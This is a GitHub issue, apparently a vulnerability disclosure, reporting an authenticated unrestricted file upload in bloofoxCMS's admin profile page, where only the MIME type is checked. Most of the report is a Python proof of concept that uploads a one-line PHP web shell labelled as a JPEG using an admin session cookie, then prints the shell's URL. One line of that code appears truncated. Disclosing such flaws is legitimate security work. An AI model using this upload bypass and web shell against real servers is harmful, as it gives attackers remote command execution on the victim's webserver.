alexlang24 / bloofoxCMS Public

Code Issues 13 Pull requests Actions Security Insights

New issue

Jump to bottom

Authenticated Unrestricted File Upload in 'profile' action #9

Open u0pattern opened this issue on Dec 27, 2020 · 0 comments

u0pattern commented on Dec 27, 2020 • edited

I found Unrestricted File Upload in `http://localhost/bloofoxCMS/admin/index.php?mode=user&action=profile&userid=[ID] -> filename` param, the `filename` param only checks the MIME type which that can be bypassed.

PoC :-

```
import requests
sid = 'xxxxxxxxxxxxxxxxxxxxxxxxxx' # The Admin Session
url = "http://localhost/bloofoxCMS/bloofoxCMS/admin/index.php?page=myprofile"
data = {'username':'admin','send':'Save'}
r = requests.post(url, data=data, headers={'Cookie':'sid='+sid+';'},files={'filename': ('texst.php', "<?=`$_GET[1]`;", 'image/jpeg')}).text.split('/media/images/profiles/')[1].split("
print('Your Shell in http://localhost/bloofoxCMS//admin/media/images/profiles/'+r)
```

Impact

Upload Backdoor PHP Files that leads to control the victim webserver

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant